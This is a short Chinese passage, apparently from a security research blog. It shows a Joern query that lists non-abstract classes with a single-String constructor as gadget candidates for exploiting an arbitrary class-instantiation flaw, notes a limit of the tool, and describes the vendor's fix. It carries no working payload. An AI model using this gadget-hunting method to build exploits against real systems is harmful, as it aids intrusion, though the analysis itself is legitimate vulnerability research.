根据我们刚才找到的漏洞位置,我们需要找到一个对应的构造方法参数为一个String的类来做进一步利用。

在Joern中可以通过寻找构造函数的关键字,再限制方法的返回类型来寻找这样的类.

1
cpg.method.where(_.isConstructor).whereNot(_.typeDecl.isAbstract).fullName(".*:void\\(java.lang.String\\).*").fullName.l

img

当然这里找到的类是不全的,这里的问题和前面类似。Joern不会解jar包里的jar包,所以无法跟进去分析整个项目的依赖,自然也就没办法找到完整的利用点,这里不赘述了

修复

这个漏洞的修复也相当粗暴,在我们找到的最终执行命令的初始化任意类的地方,新版本直接指定获取的类名必须是指定类的子类,直接限制了后续的利用条件

img

❌
❌